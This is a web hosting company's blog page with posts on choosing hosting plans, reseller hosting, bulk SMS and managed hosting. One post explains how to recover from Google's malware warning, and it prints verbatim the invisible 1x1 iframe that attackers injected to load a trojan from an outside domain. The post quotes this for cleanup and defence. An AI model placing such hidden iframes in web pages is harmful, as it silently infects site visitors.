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What is the procedure for building a Web presence?

October 14th, 2010

In this part of the Web Hosting Guide we explain the process you need to follow, from start to finish, to establish a successful presence on the Web.

  • Choose a Domain Name for your site
    The first thing you need to do when establishing a Web presence is decide on a Domain Name. Choosing the right Domain Name is very important, as it directly affects how easy it is for potential visitors to find your site. Try for something that’s easy to recognize, easy to remember, and to easy to guess. For example, if your business is “Email Marketing” then “emailloop.net” would be a good Domain Name since it’s logical, easy to remember, and easy to spell. It’s also a good idea to think of alternate Domain Names in case the first one you think of is already taken.If you are not planning on building your Web site right away, you might still want to consider registering your Domain as soon as possible. Thousands of Domain Names are registered every day, and there’s no guarantee that yours will still be around when you decide to build your site.
  • Select a Web hosting plan that’s right for you
    Most people start by browsing through the hosting plan descriptions on this site. We offer a plan for everyone, but it’s not always easy to decide which one is for you. Here are some tips to help narrow down your choices:

    • Consider Hosting Basic if you are just starting out with the Internet presence and want to build a Web site. It is a snap with Easy Site.
    • Consider the Hosting Enhanced – Premium plans if the site is for a growing business and you need enhanced tools and features.
    • If you plan on selling anything from your Web site, take a look at our e-commerce solutions.
    • If you plan on using Microsoft development tools, Microsoft Office extensions or databases consider the Windows 2003 plans.

    Verio also has many Web site Consultants dedicated to helping you establish your site. You can give them a call at 1-888-438-8374. They can help you decide on a hosting plan, answer any questions you might have, and even walk you though the order process.

    When you have decided which Web hosting plan best meets your need, click on the buy button on that plan’s page to start the ordering process. Placing the order is easy and your site will be running in a matter of hours.

  • Build and publish your Web site
    Building your own Web site can be very gratifying, but doesn’t have to be very difficult. Create your own web site and publish it to the Internet in just a few minutes time with the Easy Site design studio from Verio. This powerful web design program is available free with Unix Shared Hosting plans and the Windows Basic hosting plan. There are other software packages available – such as Microsoft FrontPage 2000 – that make creating and publishing your Web site relatively quick and painless. Verio supports the use of most Web site design and publishing tools.
  • Promote your Web site
    To really succeed on the Web, you need more than just a Web site. You need “traffic” – a steady stream of visitors coming to check out your products, services, information, and everything else you offer online. In order to draw people to your site, you need to be listed in the Web’s most popular search engines and Web directories. Services like NetAnnounce can help you get traffic to your site by listing your site with search engines and giving you tips for making your Web site more easy to find online.
  • Analyze the results
    The success of a Web site is generally measured by how many visitors it gets. Your Web server automatically logs each time someone accesses one of your Web pages. Looking at these logs can tell you how much traffic your site gets, how popular different parts of your site are, and when your site is the busiest. Analyzing your traffic can even give you an idea of which parts of your site may need to be improved or expanded.All Verio Web hosting plans come with built-in tools that you can use to help you analyze your traffic. Once you become a Verio customer, it is easy to log into a custom control panel and access current site statistics.

    All Verio web hosting plans come with built-in tools, such as Urchin Web traffic reporting, that you can use to help you analyze your traffic. Once you become a Verio customer, it is easy to log into a custom control panel and access current and historical site statistics.

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Solution for ‘This site may harm your computer’ Message

September 21st, 2010

Solution for ‘This site may harm your computer’ Message

We run a web hosting company and recently we noticed many customers completing acting weird with the following messages in google search results and when they access it. When they do a site:mywebsite.com search in google, they get a message below the search result stating that ‘This site may harm your computer.’ which is making lose visitors, apart from which many peoples not able to access website. What may be the problem, because when they try to visit website they get a message stating that – ‘Reported Attack Site!’ and it says that my website is trying to install programs which can steal private information or damage the visitors computers but they run a genuine information website and have no downloads nor any illegal material. What may be the solution for this problem and website hacked? – Question by a Reader through Phone

First of all you need to understand that these are some badware warning against malicious software which is given by Google through stopbadware.org which warns all the google searchers against visiting websites which can be harmful to them. You need to detect malware and also visit the google safe browsing section which lists all the information about different websites and if they were listed as suspicious in the last 90days.

Reported Attack Website – Harmful Content

Sometimes because of some wrong permissions on your website scripts like wordpress or when you have easy passwords for your FTP accounts, your websites can be compromised after which these hackers would add some malicious links within your content or in the footer section using direct links with visibility=0 or else using iFrames. You need to continuously make sure that your websites content is secure and you have no links placed by the hackers anywhere on your ftp.

Read this wordpress security guide which can give you some important points you need to make note of while running a blog and also here are some plugins which you need to run on your wordpress blog to make sure you can regularly scan for the content of your blog and all he plugin files and theme files.


Harmful Websites Google Warning

Our Experience :
Recently after making a quick check on our website, we found that there were some iframe codes added to our website homepage which we could not detect. So because of this for many customer our website was not  accessible the website with a virus message.  Many antivirus software even removed the virus from user which got downloaded, and then user recieved the following message :

HTTP filter file http://www.emailloop.net  PDF/Exploit.Pidief.OJS.Gen trojan connection terminated – quarantined  Threat was detected upon access to web by the application: C:\Program Files\Mozilla Firefox\firefox.exe.

When we review our site we found the following iframe added to the files at the end which is the reason the homepage was continiously loading like a loop and was also breaking the theme files, though as a normal user anyone cannot find out this malicious code in the blog, unless the antivirus softwares can find them.

<iframe src=”http://brugeni.net/?click=44E729″ width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

Solution for Removing the iFrames :
There are several wordpress plugins which can help you stay secure by checking all the file permissions, blog content and your ftp files. Here are few recommendations :

* WP Security Scan -
Scans your WordPress installation for security vulnerabilities and suggests corrective actions. You need to install this plugin in your wordpress blog and then activate it, following which you will find a complete new menu called as ‘WP – Security Admin Tools’ where you can find all the System Information & links to scanner where you can find all the current permissions of the files under your root folder and the permissions you need to change for more security.
-passwords
-file permissions
-database security
-version hiding
-WordPress admin protection/security
* Secure WP Plugin
This plugin is very useful because it does a lot of stuff by creating some pages which can be accessed by others and removing info from your website which should not be allowed to be accessed by others.

# removes error-information on login-page
# adds index.html to plugin-directory (virtual)
# removes the wp-version, except in admin-area
# removes Really Simple Discovery
# removes Windows Live Writer
# remove core update information for non-admins
# remove plugin-update information for non-admins

Steps to Remove the Warning :
Once the warning is shown for your website, expect 0% visitors for your website from Google because the warning message will block the visitors from entering into the site. You need to get this warning removed by Google as soon as possible and for this the very first step would be to remove the malicious links, hackers codes or any other stuff which was the cause of this warning. Once you are sure that you have found the problem and removed those codes you need to proceed to the next step of contacting Google.

Login to your Google Webmaster tools account which is also useful for regaining google rankings. You need to make sure you have added your website in the Webmaster Tools by confirming that you are owner by adding the ‘Meta’ code or uploading a file which it offers you. Once this is done you need to perform the following 3 steps and wait for Google Webmaster Team to review your website and confirm that your website does not distribute badware or hosts it.

1. On the Webmaster Tools Home page, select the site you want.
2. In the Parts of this site may be distributing malware message, click More details.
3. Click Request a review.

Previously it used to take a lot of time for this procedure but nowadays within 2-3days time frame the websites are reviewed and the warning is removed.  Let me know if you have any questions about this problem and if your website is attacked with any of this kind of problems.

Read more  Iframe / Virus in Website Pages, How to Fix Iframe issue

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what is reseller hosting?

September 17th, 2010

Reseller hosting is a concept that you may have come across, but like many people, you may be unclear as to what it actually is.  In this article, we’ll give you a brief overview of reseller hosting  and how you can become most profitably involved in this booming online business sector. It can work for any of you. You have to buy the Alpha Master Reseller plan and according to the procedure first transfer your site from your current hosting provider to the new one. Then start promoting your own hosting business. You can set the prices and plans of reseller account as per your strategy. In addition if the host provider is supportive enough they will guide you throughout the process. There will be no need for you to be very technically expert, the support many a times may be very good.

Reseller Hosting – Buying a reseller hosting plan or dedicated server and starting your own company that sells web hosting to end users.

In a version-next, reseller hosting is a bit like sub-letting an apartment – or more accurately, sub-letting each individual room in an apartment.  You lease a chunk of web server space from a parent company, divide it up into smaller chunks or hosting packages, and sell it on to other people.  As far as your customers are concerned, you’re a hosting company, although from your point of view, all the tricky stuff such as technical support continues to be handled by the parent company.

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Web Hosting Variations

July 17th, 2010

Web hosting is a great business nowadays for having a good earning without much effort. You just require a computer and a steady and speedy internet connection. That is all what you need to earn a good income by hosting a website. Now many people are trying to turn towards web hosting. What you require else is to have a good imagination, so that you can create a good and attractive website. When more people will visit your site, you will get more advertisement and thus earning will be much more than you can imagine. So make your imagination upright to make a best website.

Web hosting is not so much easy as some people consider. Many formats and hosting types are under this one word. If you get in the formats, there are many formats in the row. If you have managed vps hosting with your website, you may feel that you could have more options using cPanel hosting. If you are using cPanel hosting you may desire to get FFmpeg hosting. Thus you should first consider your total requirements and then go for the format. Long list of hosting formats are available like fantastic hosting, vps hosting, cPanel hosting, cms hosting and many more. Only format of making website can make a great difference. Some websites are linked with videos and songs thus they should have the required format.

The variation in the webhosting is not only linked with the formats but also with other types. You will have surely heard about blog hosting, video web hosting and many such other types of hosting. The circumference of web hosting is getting more and more widen. If you are seeking just to earn then it will be not a great and difficult task for anyone. But if you want to earn up to the mark then you will have to look keenly that what is the type of hosting that suits you the best and you can offer your whole work in that type of hosting.

Some people can have a very marvelous work with blog hosting while others may have a versatile experience in the field of videos. Thus should prefer that one. There are many new frontiers opening in the field of web hosting. Same one is fantastic hosting. Even newbies can host web very easily using this format. Fantastico hosting also provides you the opportunity to flourish your business. Ecommerce is the special feature of fantastico hosting.

Another similar hosting type is cms hosting. This type of hosting provides you ease of managing your data on the website. Cms hosting helps you to organize the data of your website more efficiently. It is also easy to use. Its word processing is just like Microsoft Word. Thus it is very user friendly.

Main thing is your choice. What you will use, will decide whether you are going to make your hosting better or not. So go for the best and have the best. No doubt that you will earn much more than others.

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How to Choose a Web Host

May 5th, 2010

To create a Web site for your business, you need to find a place to store your files. One choice is to let your internet service provider (ISP) host your Web site — most ISPs provide some amount of server space as part of a standard dialup Internet access account.

extra for hosting services, although some ISPs can’t provide the bandwidth or the reliability needed for a fully functional business site.

True Web hosting companies resemble ISPs in that they also provide servers connected to the Internet. But good Web hosts invest in more powerful servers and faster, more direct connections to the Internet. A Web hosting service is also likely to offer other features that you can’t get from a regular ISP, such as special commerce servers that provide additional security for online transactions.

Factors to consider when you choose a Web host include:

Server space. Initially, 10MB of disk space on a server should be enough for a typical business site. If your site has lots of graphics or multimedia files, you may need much more room; many hosts offer 100MB or more of disk space at reasonable rates. Also, find out whether email, log files and other “overhead” files count against your space limit — once you exceed your disk quota, the hosting service will charge a penalty. It’s always better to have too much space than too little.

Traffic. Your host may impose a limit on how much traffic your site can attract each month before you have to pay a surcharge. You don’t want an increasingly popular site to suddenly become a financial liability, so look for a plan that offers unlimited traffic or at least low over-limit charges.

Support. Make sure you can get technical support during the hours you’re most likely to need it. When you evaluate a hosting service, call its support lines a few times to see how long it takes to get through.

Other features. Make sure you can get your own domain name (www.yourbusiness.com) rather than one incorporating the name of your host (www.hostname.com/yourbusiness). Most hosting sites will register a domain name for you at no extra charge (although you’ll still have to pay the standard registration fee). Also check into how many email addresses you get and whether they support aliases, which allow you to set up addresses such as sales@yourbusiness.com. Ask about programs for managing mailing lists and generating automatic email responses.

You will want to find out about the visitors to your site — what links they followed to get there, which pages they view most often — so make sure that your host is equipped to track and provide that information.

If you or your Web developer uses Web authoring and management software (such as Microsoft FrontPage) that offers nonstandard features, look for a host that can support that software. And if your site provides interactive functions such as forms or surveys, or if you allow online transactions, you need to ask about features such as CGI script and e-commerce support.

Buyer Beware

Just as you need to make sure your host can provide the features you need, you want to be equally careful not to pay for ones you don’t. If you don’t plan to take credit card orders online, for example, you don’t need to pay for secure socket layer (SSL) or other special security features.

Once you’ve narrowed your list of Web hosting candidates, ask each service you’re considering for a list of the sites it houses. Visit those sites to see how quickly the pages load, especially sites with pages of similar size and complexity to yours. You can also try sending email to the Webmasters at the sites to ask for their opinions of the hosting company. Internet mailing lists, computer user groups and professional associations are other good sources of information on finding the right Web host for your business.

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What Are The Different Types Of Hosting

April 26th, 2010

The are many factors to consider during your search for a reliable but affordable web hosting provider. To determine the most appropriate webhosting solution you must ask yourself a few questions: “Who is the web site for?”, “How much traffic do I expect my site to have?”, “How much money do I want to spend?”

There are many different types of hosting available for purchase. The most popular web hosting solution is shared web hosting. Shared hosting is often utilized by individuals looking to host personal, business, ecommerce, real estate, or church web sites. The most obvious benefit of the shared option is the fact that it is such an affordable option. AlreadyHosting.com would predict that 90% of all online web sites would work perfectly fine on a shared hosting plan. (Like the ones mentioned above in our top 10 list.)

Virtual Private Servers (VPS hosting ) is another type of web hosting that is often taken used by companies expecting mid to high levels of traffic. VPS servers normally cost 5-7x that of shared hosting; however, it is much more affordable than a dedicated server. Dedicated hosting servers provide the best web site hosting on the web. This web hosting service option is not cheap but will offer you the most dependable and reliable servers on the web, not to mention dedicated servers are extremely flexible for anyone running application based web sites. SingleHop is a great dedicated web hosting provider (if your looking for a dedicated host, you can read our SingleHop review if you would like more information on this host

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Top 5 Features to look for in Free Web Hosting

December 10th, 2009

Looking for a free web host today is a lot different then it was just a few years back. Make sure to look at all of your choices and to compare the web hosting plans. Below are the top 5 features to look for when choosing the perfect free web host.

Unlimited Space & Bandwidth
In most cases you are getting a free web account to avoid paying for hosting. The last thing you want to happen is for you to have a free page up for a few days and then be hit with an “out of space – please pay to upgrade”. Free web hosts usually place ads on your pages and make more money the more space and bandwidth you use. Thus, they shouldn’t have a problem with offering unlimited space & bandwidth for free (without using that to force you to upgrade).



Limited Non-Intrusive Ads
These days most free web hosts can get by from very limited ads either on the 404 pages or on the footers of your pages. You shouldn’t need to have your entire site covered by your hosts banner ads and pop-ups to get a decent hosting account. You should also stay away from hosts that have absolutely no ads. These hosts are obviously not generating any revenue and won’t be able to stay in business and pay for their expenses for long.

An Established Company
It’s become so easy to start a free web host that companies can easily seem great one day and then disappear the next. This is especially the case since the service being offered is “free” and requires very limited expertise to get started. Make sure your web host is well established and has been around offering free web hosting for a while. Several companies like, T35 Hosting, have been offering free web hosting services for over 12 years.

Uploading Your Site
The most important feature you will use from any free web host is the uploading feature. This is how you will upload your initial site and make any future changes. Make sure your host has several options to upload and edit your files like FTP and an online file manager (when you are away from home and don’t have an ftp application installed).

Reliable Support
The last thing you expect from your new web host is for things to break or not work, but unfortunately that is sometimes the case. When this happens, the only one there to help you is the host’s support team. Compare web hosts and make sure you use one that offers a comprehensive support system. Features to look for include a helpdesk, support forum, and a live chat. If the host has a forum make sure to visit it to see how active it is and how quickly requests are answered.

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Best Web Hosting

November 16th, 2009

Web Hosting Case is devoted to providing essential information on the best web hosting providers and services they provide. Our main goal has always been to help our readers to find cheap web hosting plans. Web Hosting Case features detailed overviews of cheap web hosting services. We’ll help you to make an accurate decision in favor of a right hosting company. We’ve submitted for your consideration profound reviews of dedicated servers and shared web hosting, file and image hosting, ecommerce and business web hosting, and more. We have evaluated the best web hosting companies according to the price-value ratio. Moreover, we’ve ranked features, reliability, customer support, uptime, user-friendliness, and hosting awards.

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Is Bulk SMS the new Bulk Email?

November 16th, 2009

The time has come for bulk SMS to take its place as the new mass communication medium of choice. Bulk email was once the most cost-effective and convenient electronic media for asynchronous communication with customers and interest groups. But email has become a victim of its own success – largely because it’s free to send and receive and non-invasive, inbox clutter and spam are rendering it increasingly ineffective.

In the early days, email open rates in the double-digits were expected because email messages were text only, which meant that the quality of the message was crucial to driving a response. However, with up to 85% of all of today’s email comprising flashy, unsolicited spam (including the more recent and dangerous phishing scams), it’s becoming very difficult for the small business owner or marketing professional to use email as a reliable way to get a relevant message through to a customer or opt-in list subscriber.

Bulk SMS is arguably now where bulk email was in the late 1980s, and is on a very steep trajectory to becoming THE non-voice, one-to-one electronic communication channel. It has become the de facto inter-carrier non-voice mobile messaging standard for GSM and CDMA networks all over the world. Characterized by high message open rates, it self-regulates ‘list fatigue’ through a message sending cost, and limits spam as stringent WASP rules are applied by networks in order to maintain a good user experience on the destination network.

It’s understandable that it took so long for bulk SMS to stand up and be counted amongst the new new media increasingly dominated by social networking. Bulk SMS carries the unfortunate connotations of a technology used in an unintended way (it was originally supposed to be used for messages from the networks to the subscribers), and made popular by an unlikely customer segment, the tweens.

The biggest concerns with bulk SMS as a real alternative to bulk email are: first, the belief that SMS is still text only, whereas email clients and the SMTP protocol are already fully richer HTML-compliant, and second, that the 160 character limit in an SMS reduces messaging space.

Fortunately, an increasing number of handsets are enabling SMS to make this move from a simple text messaging service to a next generation communication medium, which enables a richer experience through of the ability to insert clickable links into an SMS message, using SMS gateway WAP Push features. Enabling these click-throughs means that a more powerful HTML experience can be created on a WAP page with little deterioration in the user experience. This is a consequence of current generation ‘light’ mobile XHTML and faster 3G wireless broadband data transfer speeds.

With hindsight, the SMS character limit is also not a constraint. The Twitter craze has taught us that everyone’s ready for messaging with a little more zing and a little less zang. I had another read through a recent promotional email and although the message was to the point, I realized that the reason that we used more than 140 characters for the message in that email, was not that we had to, it was that we could. What we need to say, we should be able to say in less than 140 characters, or else we probably shouldn’t be saying it in the first place. The times have changed; we should move on.

Notwithstanding the various ways above in which bulk SMS and bulk email could trade blows, bulk SMS really stands head and shoulders above its counterpart when it comes to time sensitive and location-specific messaging. Sending a time-sensitive email when you’re not expecting it or not at your computer is pointless, whereas as cellular phones have the ability to reach anyone, anywhere and at anytime.

Most exciting though are the next generation applications of bulk SMS that will use handset location-aware capabilities gained from network triangulation and GPS, so that contextually relevant SMS messages can be sent at a time when they are most pertinent and most likely to encourage further interaction. Email cannot even dream of that capability.

We’ve hardly scratched the surface of what bulk SMS is capable of and there’s never been a better time than now for a business to be amongst the early adopters that make the transition from bulk email to bulk SMS as its opt-in list communication medium of choice.

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An Explanation on Managed Dedicated Web Hosting

July 25th, 2009

A managed web hosting is a smarter alternative for any small to medium sized business, who wants to make an effective web presence but do not have the time, budget and other required resources of IT. Neither you want to invest in costly hardware required to host a website.

With a managed web hosting solution, an individual leases bandwidth, diskspace and other resources from a web hosting provider. The website is then placed on one of their servers chosen by you. Apart from web hosting, the web hosting provider provides you with number of other features which can prove to be beneficial for companies/organizations using Internet as a medium to accelerate the revenue generation plus attract new customers, which I believe is the main objective of any business.

There are various benefits of Managed Web Hosting for a business, some of them are listed below:

Professionals Take Care of One’s Website

When it comes to any business, as we all are aware, its better to let experts handle critical responsibilities for you. Failure to do so, would spend a lot of  amount of time and resources and ultimately add to the loss incurred by an organisation.

By, letting a professional web hosting provider host a site for you, you are getting rid of waste of time and resource required to maintain the website and related tasks. Their staffs consists of professionals and have good experience in maintaining the hardware and programming necessary for keeping one’s website up and running all the time. The uptime of a website is most crucial for any online business. A web hosts knowledge and experience can suffice your business additionally and you can direct your resources to other crucial tasks of business.

Save Crucial Resources by opting for Managed Web Hosting

Applying cost-effective techniques to any business is crucial in terms of its growth. Managed hosting has proven to be one such wise decision and has added exponentially for businesses profits.

If one plans to host a website and related components in-house, the hardware required isn’t cheap. Then, you would need professionals for setting up the server and the website. The costs charged by these professionals aren’t cheap. After the set-up is done, you’d later need them again for maintenance and resolving other problems, which means you would once again need to put hands in your pocket in order to make them payment.

This expenditure can be avoided by opting to submit your website to be managed by a third party professional, who charge nominal fees to execute the crucial tasks. The web hosts also offer range of different plans suitable for your requirements. They offer cheap web hosting solutions with Good Quality Branded Hardware with latest and up-to-date technologies. They take complete responsibility of keeping the servers up and running, incase a problem does occur, they can get that sorted within few minutes. You can get an option of switching between plans , depending on the provider they offer Windows Web Hosting as well as Linux Web Hosting solutions. Incase you run out of resources you have the privilege of upgrading to a higher plan within minutes. The only task that you or the owner of the website needs to do is to keep the website updated for the visitor. Varying from web host to web host, come provide back-ups of the sites and applications.

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